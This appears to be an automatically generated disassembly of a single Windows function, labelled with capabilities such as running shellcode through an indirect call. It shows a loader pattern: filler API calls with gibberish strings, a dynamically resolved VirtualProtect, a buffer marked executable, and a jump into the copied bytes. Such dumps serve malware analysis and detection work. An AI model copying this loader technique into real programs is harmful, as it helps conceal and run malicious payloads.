Function at 0x40121f
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp edi, 0x207142
jg 0x401246
inc edi
cmp edi, 0x67d12
jl 0x40122f
cmp dword [0x2818bc4], 0x93
jne 0x401320
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push str.Fonakefanot
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
push str.zazaperumefijayesubusi_tofipareceh
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push str.Teduroxeyor_natuvamoboram
push str.Hicurufupelimo_rohatozuma_nufirowoxec_pibiv
push str.Miketay_zilaxehafusaj_xotixiniza_dibenun
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push dword [ebp - 4]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
lea eax, [ebp - 0x808]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push esi
push esi
push esi
push esi
call fcn.00401c77
push esi
push esi
call fcn.004019f2
push esi
push esi
call fcn.00401c94
push esi
call fcn.004019b8
push esi
push esi
call fcn.004019e7
add esp, 0x2c
mov eax, dword [0x42ac2c]
add dword [0x2818bc4], 0x1134b
push str.kernel32.dll
mov dword [0x2819a00], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualProtect
push eax
mov dword [0x2818654], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2818bc4]
mov dword [0x2818648], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x2818bc4]
mov dword [0x2818650], eax
push eax
call dword [0x2818648]
mov edi, 0x1692e
push esi
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x40137f
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x2818bc4], esi
jbe 0x4013fd
mov eax, dword [0x2819a00]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2818650]
mov byte [ecx + edi], al
cmp dword [0x2818bc4], 0x490
jne 0x4013f4
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x2818bc4]
jb 0x4013ab
xor edi, edi
mov eax, dword [0x2818bc4]
add eax, edi
cmp eax, 0x8d
jne 0x40143a
push esi
lea eax, [ebp - 0x408]
push eax
push esi
push 0x425f58
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push 0x425f5c
push str.havayekubipacacujoxifupozeko
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x4013ff
call fcn.00401147
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x401468
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x61b9
mov eax, dword [ebp - 4]
add dword [0x2818650], eax
inc edi
cmp edi, 0x674bd
jl 0x40144a
push 0x7b
pop edi
cmp dword [0x2818bc4], 0x86
jne 0x4014af
push esi
push esi
push esi
push esi
push esi
push esi
push str.Wuhusewixig_finabizetela_xalas_womamonumune_naviganev
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x401474
push str.msimg32.dll
call ebx
call dword [0x2818650]
pop edi
pop esi
pop ebx
leave
ret